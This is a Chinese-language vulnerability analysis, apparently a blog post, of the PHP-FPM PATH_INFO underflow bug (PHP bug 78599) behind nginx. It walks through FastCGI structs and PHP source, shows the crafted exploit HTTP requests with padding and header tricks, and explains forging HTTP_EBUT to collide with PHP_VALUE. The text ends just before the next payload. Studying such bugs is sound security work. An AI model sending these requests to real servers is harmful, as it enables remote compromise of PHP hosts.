"此漏洞非常的棒,特别是利用写的非常的精妙,可以作为二进制结合web的漏洞利用的典范,非常值得思考和学习",phithon师傅说。
同时也是因为本人也是对结合二进制的web漏洞比较感兴趣,觉得比较的好玩,所以就自己学习和分析一波,如果哪里分析的不对,希望大家可以及时的提出斧正,一起学习进步。
对这个漏洞原理有所了解,但是想更加深入理解怎么利用的,建议直接看第五节
我这里提供一下我的调试环境: https://github.com/wonderkun/CTFENV/tree/master/php7.2-fpm-debug
关于漏洞存在的条件就不再说了,这里可能需要说一下的是 php-fpm 的配置了:
[global] error_log = /proc/self/fd/2 daemonize = no [www] access.log = /proc/self/fd/2 clear_env = no listen = 127.0.0.1:9000 pm = dynamic pm.max_children = 5 pm.start_servers = 1 pm.min_spare_servers = 1 pm.max_spare_servers = 1
我把 pm.start_servers
pm.max_spare_servers
都调整成了1,这样 php-fpm 只会启动一个子进程处理请求,我们只需要 gdb attach pid
到这个子进程上,就可以调试了,避免多进程时的一些不必要的麻烦。
先看一下nginx的配置
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_split_path_info
函数会根据提供的正则表表达式, 将请求的URL(不包括?之后的参数部分),分割为两个部分,分别赋值给变量 $fastcgi_script_name
和 $fastcgi_path_info
。
那么首先在index.php中打印出 $_SERVER["PATH_INFO"]
,然后发送如下请求
GET /index.php/test%0atest HTTP/1.1
Host: 192.168.15.166
按照预期的行为,由于/index.php/test%0atest
无法被正则表达式 ^(.+?\.php)(/.*)$
分割为两个部分,所以nginx传给php-fpm的变量中 SCRIPT_NAME
为 /index.php/test\ntest
, PATH_INFO
为空,这一点很容易通过抓取nginx 和 fpm 之间的通信数据来验证。
socat -v -x tcp-listen:9090,fork tcp-connect:127.0.0.1:9000
这里的变量名和变量值的长度和内容遵循如下定义(参考fastcgi的通讯协议):
typedef struct { unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */ unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */ unsigned char nameData[nameLength]; unsigned char valueData[valueLength]; } FCGI_NameValuePair11; typedef struct { unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */ unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */ unsigned char valueLengthB2; unsigned char valueLengthB1; unsigned char valueLengthB0; unsigned char nameData[nameLength]; unsigned char valueData[valueLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; } FCGI_NameValuePair14; typedef struct { unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */ unsigned char nameLengthB2; unsigned char nameLengthB1; unsigned char nameLengthB0; unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */ unsigned char nameData[nameLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; unsigned char valueData[valueLength]; } FCGI_NameValuePair41; typedef struct { unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */ unsigned char nameLengthB2; unsigned char nameLengthB1; unsigned char nameLengthB0; unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */ unsigned char valueLengthB2; unsigned char valueLengthB1; unsigned char valueLengthB0; unsigned char nameData[nameLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; unsigned char valueData[valueLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; } FCGI_NameValuePair44;
它把长度放在内容的前面,这样做导致我们没办法能够使得php-fpm对数据产生误解。到此为止,一切都还在我们的预期的范围内。但是 index.php 打印出来的 $_SERVER["PATH_INFO"]
却是 "PATH_INFO", 这就非常奇怪了。。。。 为啥传过去的PATH_INFO
是空,打印出来却是有值的?
其实这个问题我和 @rebirthwyw 在做 real world CTF的时候已经注意到了,但是我并没有深层次的去看到底是为啥,错过了一个挖漏洞的好机会,真是tcl 。。。
gdb attach
之后,程序会停下来,看一下栈帧,我们是停在了 fcgi_accept_request
函数的内部。
► f 0 7f1071dbe990 __accept_nocancel+7
f 1 558cb067d462 fcgi_accept_request+147
f 2 558cb068c95a main+4502
f 3 7f1071cf52e1 __libc_start_main+241
发一个请求,单步跟踪一下,或者全局搜索一下,发现调用点,这里while True
的从客户端接收请求,然后进行处理。
init_request_info
函数是用来初始化客户端发来的请求的全局变量的,这是关注的重点。
单步跟踪此函数,如果开启了fix_pathinfo
,就会进入如下尝试路径自动修复的关键代码。
在这里 script_path_translated
指向的就是全局变量 SCRIPT_FILENAME
, 在这里其实就是 /var/www/html/index.php/test\ntest
。红色箭头执行的函数 tsrm_realpath
是一个求绝对路径的操作,因为/var/www/html/index.php/test\ntest
路径不存在,所以real_path
是 NULL,进入后面的 while
操作, 这里 char *pt = estrndup(script_path_translated, script_path_translated_len);
是一个 malloc + 内容赋值的操作, 所以 pt存储的字符串也是 /var/www/html/index.php/test\ntest
。
看一下 while 的具体操作
while ((ptr = strrchr(pt, '/')) || (ptr = strrchr(pt, '\\'))) { *ptr = 0; // if (stat(pt, &st) == 0 && S_ISREG(st.st_mode)) { /* * okay, we found the base script! * work out how many chars we had to strip off; * then we can modify PATH_INFO * accordingly * * we now have the makings of * PATH_INFO=/test * SCRIPT_FILENAME=/docroot/info.php * * we now need to figure out what docroot is. * if DOCUMENT_ROOT is set, this is easy, otherwise, * we have to play the game of hide and seek to figure * out what SCRIPT_NAME should be */ int ptlen = strlen(pt); int slen = len - ptlen; int pilen = env_path_info ? strlen(env_path_info) : 0; int tflag = 0; char *path_info; if (apache_was_here) { /* recall that PATH_INFO won't exist */ path_info = script_path_translated + ptlen; tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0)); } else { path_info = env_path_info ? env_path_info + pilen - slen : NULL; tflag = (orig_path_info != path_info); } if (tflag) { if (orig_path_info) { char old; FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info); old = path_info[0]; path_info[0] = 0; if (!orig_script_name || strcmp(orig_script_name, env_path_info) != 0) { if (orig_script_name) { FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name); } SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info); } else { SG(request_info).request_uri = orig_script_name; } path_info[0] = old; } else if (apache_was_here && env_script_name) { /* Using mod_proxy_fcgi and ProxyPass, apache cannot set PATH_INFO * As we can extract PATH_INFO from PATH_TRANSLATED * it is probably also in SCRIPT_NAME and need to be removed */ int snlen = strlen(env_script_name); if (snlen>slen && !strcmp(env_script_name+snlen-slen, path_info)) { FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name); env_script_name[snlen-slen] = 0; SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_script_name); } } env_path_info = FCGI_PUTENV(request, "PATH_INFO", path_info); }
做一个简单的解释,先去掉 /var/www/html/index.php/test\ntest
最后一个 /
后面的内容,看 /var/www/html/index.php
这个文件是否存在,如果存在,就进入后续的操作。
注意几个长度:
ptlen 是 /var/www/html/index.php 的长度
len 是 /var/www/html/index.php/test\ntest 的长度
slen 是 /test\ntest 的长度
pilen 是 PATH_INFO 的长度,因为 PATH_INFO 在此时还是为空的,所以是 0
发生问题的关键是如下的操作:
path_info = env_path_info ? env_path_info + pilen - slen : NULL; tflag = (orig_path_info != path_info);
因为 pilen
为0,这里相当于把原来的 env_path_info
强行向前移动了 slen
, 作为新的PATH_INFO
,这里的 slen
刚好是10。
这就解释了发生异常的原因。
根据前面的分析,slen
是 /test\ntest
的长度,我们应该可以完全控制。 换句话讲,我们可以让 path_info
指向 env_path_info
指向位置的前 slen
个字节的地方,然后这个内容作为新的 PATH_INFO
, 但是这并没有什么用,并不会带来漏洞利用的可能性。
但是需要注意到如下的操作:
这里把 path_info
执行的内存地址的第一个字节,先修改成为 \x0
,然后再修改回原来的值。其实这就是一个任意地址写漏洞,不过限制有两个:
env_path_info
之前的某个位置改一个字节,并且只能把这个字节修改为\x0
FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
或者 SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
会用到这个被修改的这一个字节,造成漏洞。这里面有一个函数调用 FCGI_PUTENV
, 为了搞清楚这个函数,需要先看几个结构体:
struct _fcgi_request { int listen_socket; int tcp; int fd; int id; int keep; #ifdef TCP_NODELAY int nodelay; #endif int ended; int in_len; int in_pad; fcgi_header *out_hdr; unsigned char *out_pos; unsigned char out_buf[1024*8]; unsigned char reserved[sizeof(fcgi_end_request_rec)]; fcgi_req_hook hook; int has_env; fcgi_hash env; }; typedef struct _fcgi_hash { fcgi_hash_bucket *hash_table[FCGI_HASH_TABLE_SIZE]; fcgi_hash_bucket *list; fcgi_hash_buckets *buckets; fcgi_data_seg *data; } fcgi_hash; typedef struct _fcgi_hash_buckets { unsigned int idx; struct _fcgi_hash_buckets *next; struct _fcgi_hash_bucket data[FCGI_HASH_TABLE_SIZE]; } fcgi_hash_buckets; typedef struct _fcgi_data_seg { char *pos; char *end; struct _fcgi_data_seg *next; char data[1]; } fcgi_data_seg; typedef struct _fcgi_hash_bucket { unsigned int hash_value; unsigned int var_len; char *var; unsigned int val_len; char *val; struct _fcgi_hash_bucket *next; struct _fcgi_hash_bucket *list_next; } fcgi_hash_bucket;
结合如上的结构,就对如下代码进行一个简单的分析。
对于每一个 fastcgi 的全局变量,都会先对变量名进行一个 FCGI_HASH_FUNC
计算,计算一个 idx 索引。request.env.hash_table
其实是一个hashmap,在里面对应的 idx 位置存储着全局变量对应的 fcgi_hash_bucket
结构的地址。
打印一下来调试一下验证这一点:
#define FCGI_PUTENV(request, name, value) \ fcgi_quick_putenv(request, name, sizeof(name)-1, FCGI_HASH_FUNC(name, sizeof(name)-1), value) #define FCGI_HASH_FUNC(var, var_len) \ (UNEXPECTED(var_len < 3) ? (unsigned int)var_len : \ (((unsigned int)var[3]) << 2) + \ (((unsigned int)var[var_len-2]) << 4) + \ (((unsigned int)var[var_len-1]) << 2) + \ var_len) char* fcgi_quick_putenv(fcgi_request *req, char* var, int var_len, unsigned int hash_value, char* val) { if (val == NULL) { fcgi_hash_del(&req->env, hash_value, var, var_len); return NULL; } else { return fcgi_hash_set(&req->env, hash_value, var, var_len, val, (unsigned int)strlen(val)); } } static char* fcgi_hash_set(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, char *val, unsigned int val_len) { unsigned int idx = hash_value & FCGI_HASH_TABLE_MASK; // 127 fcgi_hash_bucket *p = h->hash_table[idx]; while (UNEXPECTED(p != NULL)) { if (UNEXPECTED(p->hash_value == hash_value) && p->var_len == var_len && memcmp(p->var, var, var_len) == 0) { p->val_len = val_len; p->val = fcgi_hash_strndup(h, val, val_len); return p->val; } p = p->next; } if (UNEXPECTED(h->buckets->idx >= FCGI_HASH_TABLE_SIZE)) { fcgi_hash_buckets *b = (fcgi_hash_buckets*)malloc(sizeof(fcgi_hash_buckets)); b->idx = 0; b->next = h->buckets; h->buckets = b; } p = h->buckets->data + h->buckets->idx; // 找一个存储全局变量的空闲位置 h->buckets->idx++; p->next = h->hash_table[idx]; h->hash_table[idx] = p; p->list_next = h->list; h->list = p; p->hash_value = hash_value; p->var_len = var_len; p->var = fcgi_hash_strndup(h, var, var_len); // 保存 key p->val_len = val_len; p->val = fcgi_hash_strndup(h, val, val_len); // 保存 val return p->val; } static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len) { char *ret; if (UNEXPECTED(h->data->pos + str_len + 1 >= h->data->end)) { //FCGI_HASH_SEG_SIZE = 4096 unsigned int seg_size = (str_len + 1 > FCGI_HASH_SEG_SIZE) ? str_len + 1 : FCGI_HASH_SEG_SIZE; fcgi_data_seg *p = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + seg_size); p->pos = p->data; p->end = p->pos + seg_size; p->next = h->data; h->data = p; } ret = h->data->pos; // 获取起始位置 memcpy(ret, str, str_len); ret[str_len] = 0; h->data->pos += str_len + 1; return ret; }
注意 request.env.hash_table
里面存储的是一系列的地址
2019-10-29-00-09-30.png
但是这个地址分配在哪里呢?注意看如下结构体和代码:
typedef struct _fcgi_hash { fcgi_hash_bucket *hash_table[FCGI_HASH_TABLE_SIZE]; fcgi_hash_bucket *list; fcgi_hash_buckets *buckets; fcgi_data_seg *data; } fcgi_hash; typedef struct _fcgi_hash_buckets { unsigned int idx; struct _fcgi_hash_buckets *next; struct _fcgi_hash_bucket data[FCGI_HASH_TABLE_SIZE]; } fcgi_hash_buckets; static char* fcgi_hash_set(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, char *val, unsigned int val_len) { unsigned int idx = hash_value & FCGI_HASH_TABLE_MASK; // 127 fcgi_hash_bucket *p = h->hash_table[idx]; ..... p = h->buckets->data + h->buckets->idx; // 找一个存储全局变量的空闲位置 h->buckets->idx++; p->next = h->hash_table[idx]; h->hash_table[idx] = p; p->list_next = h->list; h->list = p; p->hash_value = hash_value; p->var_len = var_len; p->var = fcgi_hash_strndup(h, var, var_len); // 保存 key p->val_len = val_len; p->val = fcgi_hash_strndup(h, val, val_len); // 保存 val return p->val; }
从这些代码中可以看出 request.env.buckets.data
这个数组里面就保存了每个全局变量的对应的 fcgi_hash_bucket
结构。
接下来继续分析,发现 request.env.buckets.data[n].var
和 request.env.buckets.data[n].val
里面分别存贮这全局变量名的地址,和全局变量值的地址,这个地址是由 fcgi_hash_strndup
函数分配得来的。
static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len) { char *ret; if (UNEXPECTED(h->data->pos + str_len + 1 >= h->data->end)) { //FCGI_HASH_SEG_SIZE = 4096 unsigned int seg_size = (str_len + 1 > FCGI_HASH_SEG_SIZE) ? str_len + 1 : FCGI_HASH_SEG_SIZE; fcgi_data_seg *p = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + seg_size); p->pos = p->data; p->end = p->pos + seg_size; p->next = h->data; h->data = p; } ret = h->data->pos; // 获取起始位置 memcpy(ret, str, str_len); ret[str_len] = 0; h->data->pos += str_len + 1; return ret; }
从这个代码中可以看出,request.env.data
对应的结构体:
typedef struct _fcgi_data_seg { char *pos; char *end; struct _fcgi_data_seg *next; char data[1]; } fcgi_data_seg;
是专门用来存储 fastcgi 全局变量的变量名和变量值的一个结构。 如果对c语言比较熟悉,就会明白,这里的char data[1]
并不是表明此元素只占一个字节,这是c语言中定义包含不定长字符串的结构体的常用方法。pos 始终指向了data未使用空间的起始位置。
我感觉我还是没说清楚,画个图吧,假设存储了全局变量 PATH_INFO
之后(为了方便看,我把data字段横着放了)
+---------------------+
| pos |--------------------------------------------+
+---------------------+ |
| end | |
+---------------------+ |
| next = 0 | |
+---------------------+-------------------------|------------------+-------——+
| data = xxxx |SCRIPT_NAME\0/index.php\0|PATH_INFO\0/test\0|未使用空间 |
+---------------------+-------------------------|------------------+---------+
这也就可以解释为什么所有的全局变量对应的 fcgi_hash_buckets
中的 var
和val
的值总是连续的地址空间。
根据 https://bugs.php.net/bug.php?id=78599 中的漏洞描述,他是修改了 fcgi_hash_buckets
结构中 pos
的最低位,实现的request
全局变量的污染。我们再来看一下函数 fcgi_hash_strndup
,如果可以控制ret = h->data->pos;
那么就可以控制 memcpy(ret, str, str_len);
的写入位置,肯定有机会实现全局变量的污染。
那接下来就需要分析一下可行性了:
env_path_info
指针向前移动,有机会指向 fcgi_data_seg.pos
的位置吗? 答案是肯定的,因为 env_path_info
指向了fcgi_data_seg.data
中间的某个位置,他们都是在fcgi_data_seg
结构体空间内的, 这是一个相差不太远的线性空间,只要控制合适的偏移,一定可以指向fcgi_data_seg.pos
的低字节。
fcgi_hash_strndup
被调用之后,才会进行memcpy
,在我们上面提到的第二个限制条件下,fcgi_hash_strndup
会被调用到吗?分析一下代码会发现,只有当注册新的fastcgi全局变量的时候,才会调用fcgi_hash_strndup
,但是非常的凑巧,FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
正好注册了新的变量 ORIG_SCRIPT_NAME
。 这个真是太凑巧了,没有这个函数调用,此漏洞根本没有办法被这么利用。
接下来的部分才是这篇文章最有意思的部分
经过上面的分析,我们已经从理论上证明了可以污染request
,但是我们没法实现攻击,因为不知道 env_path_info
相对于 fcgi_data_seg.pos
的偏移,另外环境不一样,这个偏移也不会是个恒定值。 那能不能让它变成一个恒定值呢?
我们想一下 env_path_info
相对于 fcgi_data_seg.pos
之间偏移不确定的主要原因是什么?是因为我们不清楚env_path_info
之前的位置都存储了哪些全局变量的 var 和 val,他们是多长。但是如果 PATH_INFO
全局变量可以存储在 fcgi_data_seg.data
的开头,那情况就不一样了,如下图所示:
char *pos
------------- +8
char *end
------------- +8
char *next
------------- +8
PATH_INFO\x00
------------- +10
\x00 <---- env_path_info
-------------
可以看到 env_path_info
和 fcgi_data_seg.pos
的地址的最低字节相差 34,这就是一个恒定值。
那目标就是要让PATH
存储在 fcgi_data_seg.data
的首部,这样偏移就确定了。能否办到呢?
来再看一下如下代码:
static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len) { char *ret; if (UNEXPECTED(h->data->pos + str_len + 1 >= h->data->end)) { //FCGI_HASH_SEG_SIZE = 4096 unsigned int seg_size = (str_len + 1 > FCGI_HASH_SEG_SIZE) ? str_len + 1 : FCGI_HASH_SEG_SIZE; fcgi_data_seg *p = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + seg_size); p->pos = p->data; p->end = p->pos + seg_size; p->next = h->data; h->data = p; } ret = h->data->pos; // 获取起始位置 memcpy(ret, str, str_len); ret[str_len] = 0; h->data->pos += str_len + 1; return ret; }
初始化的时候 fcgi_data_seg
的结构体大小是 sizeof(fcgi_data_seg) - 1 + seg_size
,考虑一下 0x10 对齐,所以大小应该是 4096+32
。 如果在存储 PATH_INFO
的时候,刚好空间不够用,也就是 h->data->pos + str_len + 1 >= h->data->end
,那么就会触发一次malloc,分配一块新的chunk,并且 PATH_INFO
就会存储在这个堆块的首部。
但是攻击者是盲测的,攻击者怎么知道什么时候触发了 malloc
?有没有什么标志特征呢?这就要看这个巧妙的poc了。
GET /index.php/PHP%0Ais_the_shittiest_lang.php?QQQQQQQQQQQQQQQQQQQ... HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0
D-Pisos: 8=D
Ebut: mamku tvoyu
利用这个payload,爆破 Q 的个数,直到 php-fpm 产生一次crash( 也就是返回404状态的时候),就说明产生了 malloc
。为什么是这样的?
首先需要知道 Q 会在fastcgi的两个全局变量中出现,分别是 QUERY_STRING
和 REQUEST_URI
两个地方出现。
增加 Q 的个数,势必会占用之前的 fcgi_data_seg.data
的存储空间,导致在存储 PATH_INFO
的时候,原本的空间不够用,malloc新的空间。但是为什么 crash 的时候,就一定进行了malloc
操作了呢?
这个精妙之处就需要看payload中的URL /PHP%0Ais_the_shittiest_lang.php
, 此字符串的长度表示 env_path_info
向前移动的字节数,这里长度是30
, 可以计算一下 env_path_info - 30
刚好是 fcgi_data_seg.pos
的第五个字节,用户态的地址一般只用了六个字节,这里把第五个字节设置为\x00
,一定会引起一个地址非法,所以就会造成一次崩溃。所以在崩溃的时候,肯定是发生了malloc
,并且是修改掉了fcgi_data_seg.pos
的第五个字节。
造成第一次crash的payload如下:
GET /index.php/PHP%0Ais_the_shittiest_lang.php?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0
D-Pisos: 8=D
Ebut: mamku tvoyu
已经修改成功了。
好,我们尝试一下去修改pos的第一个字节,那么 /PHP%0Ais_the_shittiest_lang.php
应该被扩充到 34
个字节,尝试伪造请求如下:
GET /index.php/PHP%0Ais_the_shittiest_lang.phpxxxx?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0
D-Pisos: 8=D
Ebut: mamku tvoyu
这下见证奇迹的时刻到了,在b /usr/src/php/sapi/fpm/fpm/fpm_main.c:1220
上打上断点,然后单步进行调试,修改前如下图:
修改后:
哎,搞了这么久,终于把这个破 pos
指回去了,可以修改内存中的数据了。
但是问题来了,我们修改点什么才能造成危害呢? 首先想到的就是修改PHP_VALUE
,但是当前的全局变量中并没有 PHP_VALUE
啊,那怎么办? 我们来看一下取全局变量的函数。
#define FCGI_GETENV(request, name) \ fcgi_quick_getenv(request, name, sizeof(name)-1, FCGI_HASH_FUNC(name, sizeof(name)-1)) char* fcgi_getenv(fcgi_request *req, const char* var, int var_len) { unsigned int val_len; if (!req) return NULL; return fcgi_hash_get(&req->env, FCGI_HASH_FUNC(var, var_len), (char*)var, var_len, &val_len); } static char *fcgi_hash_get(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, unsigned int *val_len) { unsigned int idx = hash_value & FCGI_HASH_TABLE_MASK; fcgi_hash_bucket *p = h->hash_table[idx]; while (p != NULL) { if (p->hash_value == hash_value && p->var_len == var_len && memcmp(p->var, var, var_len) == 0) { *val_len = p->val_len; return p->val; } p = p->next; } return NULL; }
我们需要伪造一个变量,它跟PHP_VALUE
的hash一样,并且字符串长度相同,那么在取 PHP_VALUE
的时候就会找到我们伪造的变量的idx索引,但是还是过不了memcmp(p->var, var, var_len) == 0)
这个check,不过这个没有关系,我们不是有内存写吗?直接覆盖掉原来变量的var
即可。
EXP中伪造的变量是 HTTP_EBUT
(http的头字段都会被加上 HTTP_ , 然后大写,注册成变量的), 它和PHP_VALUE
的长度相同,并且hash一样,不信你可以用hash函数算一下。
#define FCGI_HASH_FUNC(var, var_len) \ (UNEXPECTED(var_len < 3) ? (unsigned int)var_len : \ (((unsigned int)var[3]) << 2) + \ (((unsigned int)var[var_len-2]) << 4) + \ (((unsigned int)var[var_len-1]) << 2) + \ var_len)
解决了覆盖内容的问题,但是还有一个问题没有解决,怎么能够让pos
的末尾字节变为0之后,恰好指向全局变量HTTP_EBUT
呢?方法还是爆破。发送payload如下:
